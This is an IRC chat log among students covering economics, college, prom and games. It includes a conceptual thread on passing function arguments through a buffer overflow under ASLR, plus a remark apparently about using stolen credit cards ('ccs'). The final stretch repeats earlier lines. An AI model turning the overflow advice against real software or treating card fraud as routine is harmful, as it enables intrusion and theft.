[2015-04-04T00:03:59-0400] <+awe> The only difference is that there wouldn't be people who had to choose not to have electricity for the month because they needed to eat.
[2015-04-04T00:04:33-0400] <sdamashek> There's no reward for working harder though.
[2015-04-04T00:04:48-0400] <+awe> Yes, there is.
[2015-04-04T00:04:52-0400] <sdamashek> And sure, I do believe people can be happy on a low wage.
[2015-04-04T00:04:55-0400] <+awe> There's more money.
[2015-04-04T00:05:16-0400] <sdamashek> But I thought the whole idea of communism was equally distributed wealth?
[2015-04-04T00:05:28-0400] <+awe> We weren't talking about communism.
[2015-04-04T00:05:40-0400] <+awe> We were talking about a public, federal credit union.
[2015-04-04T00:05:57-0400] <sdamashek> I thought we were talking about your model as a whole, but okay
[2015-04-04T00:06:27-0400] <+awe> You were asking questions about my model that I described as an improvement, not about my ideal model.
[2015-04-04T00:06:43-0400] <+awe> You asked what was the incentive to work if you're able to borrow money without interest.
[2015-04-04T00:06:51-0400] <sdamashek> right.
[2015-04-04T00:07:01-0400] <+awe> I answered the question.
[2015-04-04T00:07:10-0400] <+awe> The incentive to work is to not live on just the essentials.
[2015-04-04T00:07:42-0400] <sdamashek> So what, you could only borrow just barely enough to live?
[2015-04-04T00:08:09-0400] <sdamashek> Because you never mentioned that.
[2015-04-04T00:08:25-0400] <+awe> Well, you wouldn't be able to borrow more than some limit.
[2015-04-04T00:08:42-0400] <+awe> That's just how borrowing money works.
[2015-04-04T00:08:53-0400] <sdamashek> Who determines that limit?
[2015-04-04T00:08:56-0400] <+awe> But let me go a little further and just say we tax wealth (aka accumulated assets) and just give everyone a base amount of money enough to survive.
[2015-04-04T00:09:16-0400] <+awe> Ideally? Everyone by vote.
[2015-04-04T00:09:28-0400] <+awe> Realistically? Some economists working with state representatives.
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[2015-04-04T00:10:43-0400] <+awe> But yeah, giving everyone enough money to sustain life is a pretty reasonable improvement to capitalism.
[2015-04-04T00:11:11-0400] <JacobEdelman> I have rearrived
[2015-04-04T00:11:14-0400] <+awe> Hey, JacobEdelman.
[2015-04-04T00:11:46-0400] <JacobEdelman> Happy passover
[2015-04-04T00:11:59-0400] <+awe> To you as well.
[2015-04-04T00:11:59-0400] <JacobEdelman> Just had our Seder
[2015-04-04T00:12:12-0400] <JacobEdelman> It was fun
[2015-04-04T00:12:23-0400] <JacobEdelman> We made an awesome Passover play
[2015-04-04T00:12:43-0400] <JacobEdelman> 6:31 PM <+awe> JacobEdelman: should I apply for the funding for ICFP?
[2015-04-04T00:12:49-0400] <JacobEdelman> awe: yes
[2015-04-04T00:12:53-0400] <+awe> Are you doing it?
[2015-04-04T00:13:02-0400] <JacobEdelman> Nah
[2015-04-04T00:13:03-0400] <sdamashek> awe: Certainly an interesting idea
[2015-04-04T00:13:08-0400] <JacobEdelman> Wait
[2015-04-04T00:13:16-0400] <JacobEdelman> Where is it?
[2015-04-04T00:13:19-0400] <+awe> Vancouver.
[2015-04-04T00:13:24-0400] <JacobEdelman> Ah
[2015-04-04T00:13:26-0400] <JacobEdelman> To far
[2015-04-04T00:13:29-0400] <JacobEdelman> Wait
[2015-04-04T00:13:29-0400] <+awe> sdamashek: I'm glad you think so. Hopefully you'll think more about it. :)
[2015-04-04T00:13:38-0400] <JacobEdelman> When is it?
[2015-04-04T00:13:49-0400] <+awe> August 30th.
[2015-04-04T00:14:07-0400] <JacobEdelman> Ah
[2015-04-04T00:14:10-0400] <JacobEdelman> Maybe
[2015-04-04T00:14:33-0400] <JacobEdelman> I'm gonna be in Canada for part of the Summer
[2015-04-04T00:14:52-0400] <JacobEdelman> So there's a small chance I can do it
[2015-04-04T00:15:22-0400] <JacobEdelman> If I can Ben would do it with me probably
[2015-04-04T00:18:24-0400] <+awe> That'd be neat.
[2015-04-04T00:18:35-0400] <+awe> JacobEdelman: ah, you missed this.
[2015-04-04T00:18:39-0400] <+awe> JacobEdelman: "As Emery might have mentioned, all my research involves programming language design and implementation, with a strong bias in favor of functional programming and program verification. This summer, there will be 1-2 PhD students, another REU student, and possibly a postdoc working with me. When we meet, I'll tell you what we have planned: all of it can be construed as "applied functional programming"."
[2015-04-04T00:19:28-0400] <JacobEdelman> Who is that?
[2015-04-04T00:19:31-0400] <+awe> Arjun.
[2015-04-04T00:19:35-0400] <+awe> He's the only PLT professor at UMass.
[2015-04-04T00:19:37-0400] <JacobEdelman> To you?
[2015-04-04T00:19:39-0400] <+awe> Yes.
[2015-04-04T00:19:39-0400] <+awe> :)
[2015-04-04T00:19:43-0400] <JacobEdelman> Cool
[2015-04-04T00:19:49-0400] <JacobEdelman> Except for one word
[2015-04-04T00:19:57-0400] <+awe> I had a meeting with Emery today, and I'm meeting with Arjun on Monday.
[2015-04-04T00:20:02-0400] <JacobEdelman> "App***d"
[2015-04-04T00:20:11-0400] <+awe> What's wrong with applied?
[2015-04-04T00:20:19-0400] <JacobEdelman> It's ewww
[2015-04-04T00:20:30-0400] <+awe> Why?
[2015-04-04T00:20:40-0400] <JacobEdelman> It's useful
[2015-04-04T00:20:44-0400] <+awe> Lol.
[2015-04-04T00:20:54-0400] <+awe> Right, I forgot you're only interested in research that has no use.
[2015-04-04T00:20:59-0400] <JacobEdelman> In general it's less interesting
[2015-04-04T00:21:03-0400] <JacobEdelman> To Ben and i
[2015-04-04T00:21:10-0400] <JacobEdelman> Been is next to me right now
[2015-04-04T00:21:20-0400] <JacobEdelman> *Ben
[2015-04-04T00:21:32-0400] <JacobEdelman> Playing Ezra at brawl
[2015-04-04T00:22:11-0400] <+awe> Applied FP means he writes research languages...
[2015-04-04T00:22:18-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/tJ41lT87/irccloudcapture-204196189.jpg
[2015-04-04T00:22:50-0400] <+awe> Mmm, look at those sexy jewfolk.
[2015-04-04T00:22:57-0400] <JacobEdelman> Lol
[2015-04-04T00:24:00-0400] <+awe> Hm, Arjun went to Brown and did his postdoc at Cornell.
[2015-04-04T00:26:10-0400] <+awe> He did his undergrad at a small private school in Iowa though
[2015-04-04T00:27:07-0400] <+awe> Ah, it's a school known for being socially responsible. They're the third highest liberal arts college by economic diversity.
[2015-04-04T00:27:16-0400] <+awe> (As measured by number of students receiving Pell Grants)
[2015-04-04T00:28:34-0400] <+awe> Data analyzed in 2006 place Grinnell at number eight among all U.S. undergraduate institutions in the proportion of graduates who go on to earn Ph.D. degrees
[2015-04-04T00:28:34-0400] <+awe> Wow.
[2015-04-04T00:28:58-0400] <+awe> Grinnell has 150 voting faculty, 95% of whom possess a doctorate or the terminal degree in their field. At the end of each semester, students fill out course surveys which play a large role in determining faculty tenure decisions and merit raises.
[2015-04-04T00:29:00-0400] <+awe> Also wow.
[2015-04-04T00:29:32-0400] <+awe> They have only a single general education requirement, and otherwise, you're completely free to take the courses you want to take.
[2015-04-04T00:30:39-0400] <+awe> About 90% of students receive some form of financial aid. The average financial aid package is over $26,000.
[2015-04-04T00:32:15-0400] <+awe> This school is really interesting.
[2015-04-04T00:32:37-0400] <+awe> Students at Grinnell adhere to an honor system known as "self-governance" wherein they are expected to govern their own choices and behavior with minimal direct intervention by the college administration. By cultivating a community based on freedom of choice, self-governance aims to encourage students to become responsible, respectful, and accountable members of the campus, town, and global community.
[2015-04-04T00:33:49-0400] <+awe> https://en.wikipedia.org/wiki/List_of_Grinnell_College_alumni
[2015-04-04T00:34:36-0400] <+awe> The architect of the New Deal went to Grinnell.
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[2015-04-04T00:39:42-0400] <JacobEdelman> wow
[2015-04-04T00:39:49-0400] <JacobEdelman> that sounds like your kinda thing
[2015-04-04T00:41:29-0400] <+awe> Yeah, it's interesting.
[2015-04-04T00:41:47-0400] <z3t> damnit JacobEdelman 
[2015-04-04T00:41:58-0400] <z3t> why couldn't you let him keep going
[2015-04-04T00:42:09-0400] <+awe> z3t: I wasn't going to say anymore.
[2015-04-04T00:42:10-0400] <z3t> he went 14 lines without a response
[2015-04-04T00:42:17-0400] <z3t> that must be a record
[2015-04-04T00:42:20-0400] <+awe> It's not.
[2015-04-04T00:42:21-0400] <+awe> I do that a lot.
[2015-04-04T00:42:23-0400] <z3t> :(
[2015-04-04T00:43:11-0400] <+awe> I think about things more when I'm writing them or copy and pasting them.
[2015-04-04T00:43:12-0400] <+awe> I don't know why.
[2015-04-04T00:43:14-0400] <LittleBobbyTables> Let's have a contest to see who can spam the most lines in a row without being interrupted.
[2015-04-04T00:43:24-0400] <LittleBobbyTables> But, legitimate talk.
[2015-04-04T00:43:28-0400] <JacobEdelman> no, thats a bad idea
[2015-04-04T00:43:29-0400] <JacobEdelman> like so bad
[2015-04-04T00:43:32-0400] <LittleBobbyTables> Not actual spam
[2015-04-04T00:43:33-0400] <+awe> Historically, I've been winning.
[2015-04-04T00:43:37-0400] <JacobEdelman> people will just spam talk
[2015-04-04T00:43:38-0400] <JacobEdelman> and tal
[2015-04-04T00:43:41-0400] <JacobEdelman> and talk
[2015-04-04T00:43:44-0400] <JacobEdelman> like this
[2015-04-04T00:43:47-0400] <JacobEdelman> and other people will 
[2015-04-04T00:43:50-0400] <JacobEdelman> try to interurpt
[2015-04-04T00:43:51-0400] <JacobEdelman> them
[2015-04-04T00:43:51-0400] <+awe> Yeah, but you always talk like this, JacobEdelman.
[2015-04-04T00:43:52-0400] <JacobEdelman> but fail
[2015-04-04T00:43:56-0400] <JacobEdelman> :P
[2015-04-04T00:44:00-0400] <LittleBobbyTables> I talk like that a lot of the time as well.
[2015-04-04T00:44:01-0400] <JacobEdelman> 7
[2015-04-04T00:44:02-0400] <JacobEdelman> beat that
[2015-04-04T00:44:07-0400] <LittleBobbyTables> I tend to just do that on sentences, though.
[2015-04-04T00:44:08-0400] <+awe> I already did with fourteen.
[2015-04-04T00:44:11-0400] <LittleBobbyTables> Not in the middle.
[2015-04-04T00:44:11-0400] <JacobEdelman> yeah
[2015-04-04T00:44:12-0400] <JacobEdelman> but 
[2015-04-04T00:44:14-0400] <JacobEdelman> uhhh
[2015-04-04T00:44:16-0400] <JacobEdelman> uuh
[2015-04-04T00:44:19-0400] <JacobEdelman> give me a bit
[2015-04-04T00:44:21-0400] <JacobEdelman> lemme see
[2015-04-04T00:44:22-0400] <JacobEdelman> if I 
[2015-04-04T00:44:23-0400] <LittleBobbyTables> That doesn't count.
[2015-04-04T00:44:24-0400] <+awe> The real trick is to just talk about something so boring as to prevent people from talking.
[2015-04-04T00:44:24-0400] <JacobEdelman> kep talking
[2015-04-04T00:44:27-0400] <JacobEdelman> ahhh
[2015-04-04T00:44:35-0400] <LittleBobbyTables> Or
[2015-04-04T00:44:38-0400] <+awe> Whenever I go into something that I'm really interested about, nobody talks for whatever reason.
[2015-04-04T00:44:41-0400] <LittleBobbyTables> Move to somewhere and wait until everyone is asleep.
[2015-04-04T00:44:51-0400] <LittleBobbyTables> Then start talking about things
[2015-04-04T00:44:56-0400] <LittleBobbyTables> That might work...
[2015-04-04T00:45:13-0400] <LittleBobbyTables> I'll let you guys know sometime tonight.
[2015-04-04T00:45:27-0400] <LittleBobbyTables> I'll probably be up late playing dota.
[2015-04-04T00:45:29-0400] <+awe> Figures.
[2015-04-04T00:55:41-0400] <z3t> boo dota
[2015-04-04T00:56:02-0400] <JacobEdelman> LittleBobbyTables: techies!
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[2015-04-04T02:57:01-0400] <LittleBobbyTables> Is everyone asleep now
[2015-04-04T02:57:12-0400] <LittleBobbyTables> It's  3 am where you guys are, I would kind of assume so.
[2015-04-04T02:57:52-0400] <LittleBobbyTables> Anyway, dota is a stupid fucking game, but so much fun
[2015-04-04T02:58:14-0400] <LittleBobbyTables> You have people that sit there and complain about everything else except them, because they're literally God.
[2015-04-04T02:58:27-0400] <LittleBobbyTables> Even when you point out their mistakes, the only response is "omg noob"
[2015-04-04T02:59:07-0400] <LittleBobbyTables> You offer help to them, but they refuse.
[2015-04-04T02:59:16-0400] <LittleBobbyTables> You try to help them, then they blame you when they fail.
[2015-04-04T02:59:21-0400] <LittleBobbyTables> But, you get some good games.
[2015-04-04T02:59:34-0400] <LittleBobbyTables> Where everyone is super friendly and just goofing around in a video game, because it's a video game.
[2015-04-04T02:59:40-0400] <LittleBobbyTables> We're not playing in TI
[2015-04-04T02:59:49-0400] <LittleBobbyTables> We're not playing in Starladder, Dreamhack, or DAC
[2015-04-04T02:59:56-0400] <LittleBobbyTables> We're not even good enough to be a T3 team
[2015-04-04T03:00:15-0400] <LittleBobbyTables> It's why those people that play just to play are amazing.
[2015-04-04T03:00:57-0400] <LittleBobbyTables> also, I need to watch this matrix and star wars in ascii art
[2015-04-04T03:01:01-0400] <LittleBobbyTables> cause that seems pretty cool
[2015-04-04T03:01:40-0400] <LittleBobbyTables> I think I'm winning by the way.
[2015-04-04T03:01:45-0400] <LittleBobbyTables> So GL to others.
[2015-04-04T03:02:04-0400] <LittleBobbyTables> This line is 18 in a row
[2015-04-04T03:02:44-0400] <LittleBobbyTables> also uhhh
[2015-04-04T03:02:51-0400] <LittleBobbyTables> if i have asm and not pushing something
[2015-04-04T03:02:59-0400] <LittleBobbyTables> and am calling the address of a function
[2015-04-04T03:03:25-0400] <LittleBobbyTables> how would I pass an argument without the push or something
[2015-04-04T03:03:49-0400] <LittleBobbyTables> like... $PRINTFADDRARG1ARG2ARG3, etc. But in the hex or whatever itself
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[2015-04-04T04:45:01-0400] <ubuntor> are you talking about calling convention?
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[2015-04-04T10:31:51-0400] <apothy> jwoglom: ayy happy birthday :D
[2015-04-04T10:42:08-0400] <fwilson> jwoglom: it's your birthday?
[2015-04-04T10:42:09-0400] <fwilson> happy birthday!
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[2015-04-04T11:07:58-0400] <jwoglom> apothy: thanks :P
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[2015-04-04T11:10:17-0400] <jwoglom> fwilson: yep, thanks :P
[2015-04-04T11:10:58-0400] <fwilson> :D
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[2015-04-04T11:55:58-0400] <JacobEdelman> Gmorning
[2015-04-04T11:56:52-0400] <JacobEdelman> *Gmorning all
[2015-04-04T12:03:13-0400] <Coast> morning JacobEdelman 
[2015-04-04T12:03:18-0400] <Coast> except it's not morning
[2015-04-04T12:04:39-0400] <jwoglom> eh, he posted it before noon EST, so i guess it was still technically morning
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[2015-04-04T12:22:08-0400] <JacobEdelman> I slept late
[2015-04-04T12:22:13-0400] <JacobEdelman> For once
[2015-04-04T12:22:32-0400] <JacobEdelman> Spring break is nice
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[2015-04-04T12:54:46-0400] <+awe> JacobEdelman: Now you know how I feel every Saturday, Sunday, Monday, and Friday.
[2015-04-04T12:54:58-0400] <+awe> JacobEdelman: Four days of the week, I don't need to be up until noon.
[2015-04-04T12:55:16-0400] <+awe> JacobEdelman: Two days of the week, I have to get up at 11.
[2015-04-04T12:55:29-0400] <+awe> JacobEdelman: Only one day of the week do I have to get up at 9:30.
[2015-04-04T12:55:43-0400] <+awe> JacobEdelman: And in fact, it looks like it'll be a similar scenario next year.
[2015-04-04T12:56:23-0400] <+awe> JacobEdelman: On Monday, I'll have to be up for a class at 1:25.
[2015-04-04T12:56:38-0400] <+awe> JacobEdelman: On Tuesday, I'll have to be up for a class at 11:30.
[2015-04-04T12:56:45-0400] <+awe> JacobEdelman: On Wednesday, I'll have to be up at 8:30.
[2015-04-04T12:57:04-0400] <+awe> JacobEdelman: On Thursday, I'll have to be up for a class at 11:30 like on Tuesday.
[2015-04-04T12:57:17-0400] <+awe> JacobEdelman: And on Friday, I'll have to be up for a class at 12:20.
[2015-04-04T12:57:18-0400] <JacobEdelman> Grrrrrrr
[2015-04-04T12:57:38-0400] <JacobEdelman> Jacob mad
[2015-04-04T12:57:41-0400] <+awe> Why?
[2015-04-04T12:58:21-0400] <JacobEdelman> Cause you sleep
[2015-04-04T12:58:25-0400] <JacobEdelman> And I don't
[2015-04-04T12:58:55-0400] <+awe> Yeah, it's really quite great.
[2015-04-04T12:59:12-0400] <JacobEdelman> Solution: go to the moon???
[2015-04-04T12:59:13-0400] <+awe> It feels really weird that I only have two more years of Uni left.
[2015-04-04T12:59:30-0400] <JacobEdelman> Yes, it does
[2015-04-04T12:59:44-0400] <+awe> By the time next semester starts, I'll only have one more summer vacation until I apply to grad school.
[2015-04-04T13:00:01-0400] <JacobEdelman> Awe: what should I wear to prom?
[2015-04-04T13:00:11-0400] <+awe> A tuxedo.
[2015-04-04T13:00:17-0400] <+awe> Don't skip the vest. The vest is important.
[2015-04-04T13:00:29-0400] <JacobEdelman> Foey
[2015-04-04T13:00:32-0400] <+awe> Your vest and tie should match your date, *not* your undershirt.
[2015-04-04T13:00:57-0400] <+awe> I'm so tired of seeing morons in brightly colored undershirts because they think that's what you're supposed to do.
[2015-04-04T13:01:13-0400] <JacobEdelman> I just wanted to wear  suspenders, a bow tie, a monocle, and nothing else
[2015-04-04T13:01:28-0400] <+awe> You need something to suspend in order to wear suspenders.
[2015-04-04T13:01:37-0400] <JacobEdelman> Nah
[2015-04-04T13:02:07-0400] <+awe> I assure you, it's not possible to wear suspenders otherwise.
[2015-04-04T13:02:08-0400] <JacobEdelman> I'll just wrap them around myself
[2015-04-04T13:02:17-0400] <+awe> Also, wearing suspenders with a tuxedo is totally legitimate. I did,
[2015-04-04T13:02:23-0400] <JacobEdelman> awe: have you tried
[2015-04-04T13:02:31-0400] <JacobEdelman> :P
[2015-04-04T13:02:33-0400] <+awe> My pants actually didn't have belt loops. So, I had no choice but to wear suspenders.
[2015-04-04T13:03:45-0400] <JacobEdelman> My uncle told me he'd party for the monocle
[2015-04-04T13:03:52-0400] <JacobEdelman> *pay
[2015-04-04T13:04:04-0400] <+awe>  For the record, you can wear a bow tie.
[2015-04-04T13:04:09-0400] <+awe> I did.
[2015-04-04T13:04:43-0400] <nezorg> well, i'm about to take off
[2015-04-04T13:04:58-0400] <+awe> nezorg: I didn't know you were capable of flying. Good luck.
[2015-04-04T13:05:16-0400] <nezorg> have i not shown you my wings?
[2015-04-04T13:05:24-0400] <+awe> You have not.
[2015-04-04T13:05:36-0400] <nezorg> that explains it then
[2015-04-04T13:07:52-0400] <+awe> nezorg: Can you send me a picture?
[2015-04-04T13:10:22-0400] <JacobEdelman> awe: but can I wear two bow ties?
[2015-04-04T13:11:10-0400] <+awe> I don't think so, but I suppose you could try. You're better off with just one.
[2015-04-04T13:11:36-0400] <JacobEdelman> Did I hear you say four?
[2015-04-04T13:11:47-0400] <JacobEdelman> I think I did
[2015-04-04T13:11:51-0400] <nezorg> awe: http://imgur.com/PeD8eb1
[2015-04-04T13:11:58-0400] <nezorg> i expand into a full-size 747
[2015-04-04T13:13:49-0400] <+awe> Very impressive. You look very sleek from this angle.
[2015-04-04T13:13:52-0400] <JacobEdelman> awe: http://www.amazon.com/Steampunk-Victorian-Goggles-welding-Glasses/dp/B00J3AN186/ref=sr_1_10?ie=UTF8&qid=1428167561&sr=8-10&keywords=monocle
[2015-04-04T13:14:16-0400] <JacobEdelman> awe: how about that?
[2015-04-04T13:14:28-0400] <+awe> Yup, perfect.
[2015-04-04T13:15:04-0400] <nezorg> ty awe
[2015-04-04T13:15:35-0400] <+awe> Where are you headed?
[2015-04-04T13:15:49-0400] <JacobEdelman> awe: good
[2015-04-04T13:16:01-0400] <nezorg> seoul!
[2015-04-04T13:16:14-0400] <+awe> Oh, very cool.
[2015-04-04T13:16:17-0400] <JacobEdelman> awe: now I just need to find myself suspenders and a bow tie, and I
[2015-04-04T13:16:17-0400] <JacobEdelman> m set
[2015-04-04T13:16:21-0400] <sdamashek> :D korea!
[2015-04-04T13:16:31-0400] <nezorg> indeed
[2015-04-04T13:16:32-0400] <sdamashek> nezorg: damn you're in a 747? nice
[2015-04-04T13:16:40-0400] <sdamashek> my flight is a 767
[2015-04-04T13:16:42-0400] <+awe> No, he *is* a 747.
[2015-04-04T13:16:53-0400] <nezorg> sdamashek: a 767 is nicer than a 747...
[2015-04-04T13:17:18-0400] <nezorg> i wish i were a 787 though :(
[2015-04-04T13:17:37-0400] <sdamashek> nezorg: a 747 is bigger though
[2015-04-04T13:17:43-0400] <nezorg> true
[2015-04-04T13:17:54-0400] <nezorg> airplane mode now
[2015-04-04T13:17:56-0400] <nezorg> bye!
[2015-04-04T13:17:57-0400] <sdamashek> yeah I do wish I was a 787
[2015-04-04T13:18:04-0400] <sdamashek> always wanted to fly in a 4 engine plane
[2015-04-04T13:18:08-0400] <sdamashek> bye!
[2015-04-04T13:21:13-0400] <JacobEdelman> I prefer the Boeing Model 1 myself
[2015-04-04T13:22:07-0400] <JacobEdelman> that 67 mph cruise speed
[2015-04-04T13:22:12-0400] <JacobEdelman> and luxurius linen covering
[2015-04-04T13:26:14-0400] <LittleBobbyTables> ubuntor: I guess so?
[2015-04-04T13:51:05-0400] <sdamashek> lol
[2015-04-04T13:53:12-0400] <LittleBobbyTables> If I were to to buffer overflow an address that gets called, but I need to call that with an argument, unable to push something.
[2015-04-04T14:27:45-0400] <fwilson> LittleBobbyTables: http://en.wikipedia.org/wiki/X86_calling_conventions
[2015-04-04T14:27:48-0400] <fwilson> worth a read
[2015-04-04T14:27:54-0400] <fwilson> arguments go on the stack, usually unconditionally
[2015-04-04T14:30:57-0400] <LittleBobbyTables> yeah, but where
[2015-04-04T14:31:08-0400] <fwilson> read the article
[2015-04-04T14:31:10-0400] <fwilson> :P
[2015-04-04T14:31:15-0400] <LittleBobbyTables> So long
[2015-04-04T14:31:18-0400] <fwilson> `call` can't call a function with arguments
[2015-04-04T14:31:23-0400] <fwilson> it just tells the function that it is being called
[2015-04-04T14:31:27-0400] <fwilson> the function takes the arguments off of the stack
[2015-04-04T14:31:33-0400] <fwilson> so you pretty much have to push them
[2015-04-04T14:31:45-0400] <LittleBobbyTables> hmm
[2015-04-04T14:57:51-0400] <+awe> LittleBobbyTables: arguments go on the stack in positive addresses from the stack pointer.
[2015-04-04T14:58:39-0400] <+awe> Erm, or am I getting it mixed up and that's variables?
[2015-04-04T15:01:46-0400] <Hyper> awe: you've got it right
[2015-04-04T15:02:05-0400] <+awe> Ok, cool.
[2015-04-04T15:02:19-0400] <+awe> I forget these things because IDA labels them automatically. :p
[2015-04-04T15:02:40-0400] <Hyper> well IDA also gives you the relative addresses at the top of the function
[2015-04-04T15:03:50-0400] <+awe> Yeah, but there's less reason to think about it.
[2015-04-04T15:04:30-0400] <+awe> Well, at least for me since I don't typically exploit.
[2015-04-04T15:04:37-0400] <+awe> I'm usually just doing RE for information.
[2015-04-04T15:05:03-0400] <Hyper> mmm
[2015-04-04T15:05:18-0400] <Hyper> I've been doing some bomblabs as part of the cybersec club's recruit challenges this week
[2015-04-04T15:05:23-0400] <Hyper> so I've kinda been learning as I go
[2015-04-04T15:05:27-0400] <Hyper> \o/
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[2015-04-04T15:29:45-0400] <LittleBobbyTables> awe: so if I overwrite a call to a function that has no arguments, would I do $ADDR$ARG1?
[2015-04-04T15:30:09-0400] <+awe> I don't know what you're saying.
[2015-04-04T15:30:58-0400] <LittleBobbyTables> There's a function (non existent, just ends the program with an error) currently getting called, but I can buffer overflow to overwrite that address to whatever I want
[2015-04-04T15:31:13-0400] <LittleBobbyTables> There's another function (location known) that I want to call
[2015-04-04T15:31:20-0400] <LittleBobbyTables> I can call that easily, but it's useless without an argument
[2015-04-04T15:31:49-0400] <LittleBobbyTables> I don't have enough space, nor known addresses (ASLR) to just shellcode and push/call
[2015-04-04T15:32:10-0400] <+awe> Yeah, I think you'd want to overflow it with the function to call and then the argument.
[2015-04-04T15:32:22-0400] <LittleBobbyTables> So $ADDR$ARG?
[2015-04-04T15:33:14-0400] <+awe> Sure?
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[2015-04-04T16:11:08-0400] <fwilson> that's not how calling works though
[2015-04-04T16:11:10-0400] <fwilson> :(
[2015-04-04T16:14:15-0400] <+awe> fwilson: I'm not even sure what the hell he's trying to say. :)
[2015-04-04T16:15:00-0400] <fwilson> he's trying to call a function with arguments without pushing things onto the stack
[2015-04-04T16:15:20-0400] <+awe> Doesn't a buffer overflow allow you to write to the stack?
[2015-04-04T16:25:49-0400] <ubuntor> LittleBobbyTables: you can also shove things in registers if you want to
[2015-04-04T16:26:26-0400] <ubuntor> depends on how the function receives its arguments
[2015-04-04T16:27:17-0400] <+awe> Man, I am so hype for Persona 5.
[2015-04-04T16:32:49-0400] <ubuntor> yay, fsn ubw s2e1 is out
[2015-04-04T16:44:57-0400] <Hyper> ubuntor: I thought it came out tomorrow!
[2015-04-04T16:44:58-0400] <Hyper> :D
[2015-04-04T16:45:17-0400] <ubuntor> horriblesubs has it
[2015-04-04T16:45:25-0400] <Hyper> yessssssss
[2015-04-04T16:45:27-0400] <Hyper> :D
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[2015-04-04T17:20:18-0400] <Hyper> aww man that was hype
[2015-04-04T18:10:55-0400] <z3t> /unafk
[2015-04-04T18:11:50-0400] <LittleBobbyTables> z3t: did you lose all your btc yet
[2015-04-04T18:12:16-0400] <LittleBobbyTables> or whatever coin you had
[2015-04-04T18:12:37-0400] <assface> introducing fartcoin
[2015-04-04T18:13:00-0400] <assface> its identical to bitcoin but uses our custom fart256 hash
[2015-04-04T18:13:14-0400] <LittleBobbyTables> lel
[2015-04-04T18:14:22-0400] <z3t> no LittleBobbyTables I still have like $54 of the $60
[2015-04-04T18:14:48-0400] <z3t> jwoglom: Happy birthday!
[2015-04-04T18:15:08-0400] <jwoglom> z3t: thanks
[2015-04-04T18:15:13-0400] <jwoglom> i still don't know who you are, lol :P
[2015-04-04T18:15:30-0400] <assface> I've only met 1 person on this channel
[2015-04-04T18:16:49-0400] <z3t> heh, just remembered my birthday is later this month, forgot...
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[2015-04-04T18:23:19-0400] <+awe> assface: I have met four people on this channel, I believe.
[2015-04-04T18:23:36-0400] <+awe> I've met alokpathy, JacobEdelman, Tamini, and Hyper.
[2015-04-04T18:25:24-0400] <assface> ehhhh
[2015-04-04T18:25:27-0400] <jwoglom> hm, i guess because of all the TJ people in here now i've met 6
[2015-04-04T18:35:37-0400] <assface> http://www.schneierfacts.com/
[2015-04-04T18:38:36-0400] <z3t> #fcps 
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[2015-04-04T18:56:36-0400] <LittleBobbyTables> z3t: make more money then
[2015-04-04T19:10:05-0400] <z3t> thinking of doing stuff with these ccs
[2015-04-04T19:10:34-0400] <z3t> won't give updates on that here though
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[2015-04-04T19:30:23-0400] <ubuntor> all the humble bundles
[2015-04-04T19:49:49-0400] <z3t> LittleBobbyTables: lol HF offline
[2015-04-04T20:07:32-0400] <LittleBobbyTables> is it
[2015-04-04T20:07:40-0400] <LittleBobbyTables> Not for me
[2015-04-04T20:11:07-0400] <z3t> ...really?
[2015-04-04T20:11:32-0400] <z3t> http://downforeveryoneorjustme.com/hackforums.net
[2015-04-04T20:11:44-0400] <LittleBobbyTables> yeahyeah
[2015-04-04T20:11:52-0400] <LittleBobbyTables> I'm on it now
[2015-04-04T20:12:18-0400] <z3t> screenshot
[2015-04-04T20:13:57-0400] <LittleBobbyTables> http://gyazo.com/04a81acb7d1e401f648d652a486c39fe
[2015-04-04T20:14:03-0400] <LittleBobbyTables> Gif for some reason isn't working
[2015-04-04T20:15:24-0400] <z3t> the hell
[2015-04-04T20:15:34-0400] <z3t> when I curl I get the default ubuntu installation page
[2015-04-04T20:15:44-0400] <z3t> btw close some damn reddit tabs
[2015-04-04T20:16:43-0400] <LittleBobbyTables> Wait, damn it.
[2015-04-04T20:16:46-0400] <LittleBobbyTables> I forgot I disabled that option
[2015-04-04T20:16:53-0400] <LittleBobbyTables> I was going to screenshot "You're about to close 500 tabs"
[2015-04-04T20:18:40-0400] <z3t> haha
[2015-04-04T20:20:54-0400] Disconnect for Sleep Mode
[2015-04-04T20:20:54-0400]  
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[2015-04-04T20:58:52-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-04T20:58:52-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-04T18:13:15-0400] <LittleBobbyTables> lel
[2015-04-04T18:14:22-0400] <z3t> no LittleBobbyTables I still have like $54 of the $60
[2015-04-04T18:14:49-0400] <z3t> jwoglom: Happy birthday!
[2015-04-04T18:15:08-0400] <jwoglom> z3t: thanks
[2015-04-04T18:15:14-0400] <jwoglom> i still don't know who you are, lol :P
[2015-04-04T18:15:30-0400] <assface> I've only met 1 person on this channel
[2015-04-04T18:16:49-0400] <z3t> heh, just remembered my birthday is later this month, forgot...
[2015-04-04T18:23:19-0400] <+awe> assface: I have met four people on this channel, I believe.
[2015-04-04T18:23:36-0400] <+awe> I've met alokpathy, JacobEdelman, Tamini, and Hyper.
[2015-04-04T18:25:24-0400] <assface> ehhhh
[2015-04-04T18:25:27-0400] <jwoglom> hm, i guess because of all the TJ people in here now i've met 6
[2015-04-04T18:35:37-0400] <assface> http://www.schneierfacts.com/
[2015-04-04T18:38:36-0400] <z3t> #fcps 
[2015-04-04T18:56:36-0400] <LittleBobbyTables> z3t: make more money then
[2015-04-04T19:10:05-0400] <z3t> thinking of doing stuff with these ccs
[2015-04-04T19:10:34-0400] <z3t> won't give updates on that here though
[2015-04-04T19:30:23-0400] <ubuntor> all the humble bundles
[2015-04-04T19:49:49-0400] <z3t> LittleBobbyTables: lol HF offline
[2015-04-04T20:07:33-0400] <LittleBobbyTables> is it
[2015-04-04T20:07:40-0400] <LittleBobbyTables> Not for me
[2015-04-04T20:11:07-0400] <z3t> ...really?
[2015-04-04T20:11:32-0400] <z3t> http://downforeveryoneorjustme.com/hackforums.net
[2015-04-04T20:11:45-0400] <LittleBobbyTables> yeahyeah
[2015-04-04T20:11:52-0400] <LittleBobbyTables> I'm on it now
[2015-04-04T20:12:18-0400] <z3t> screenshot
[2015-04-04T20:13:57-0400] <LittleBobbyTables> http://gyazo.com/04a81acb7d1e401f648d652a486c39fe
[2015-04-04T20:14:03-0400] <LittleBobbyTables> Gif for some reason isn't working
[2015-04-04T20:15:25-0400] <z3t> the hell
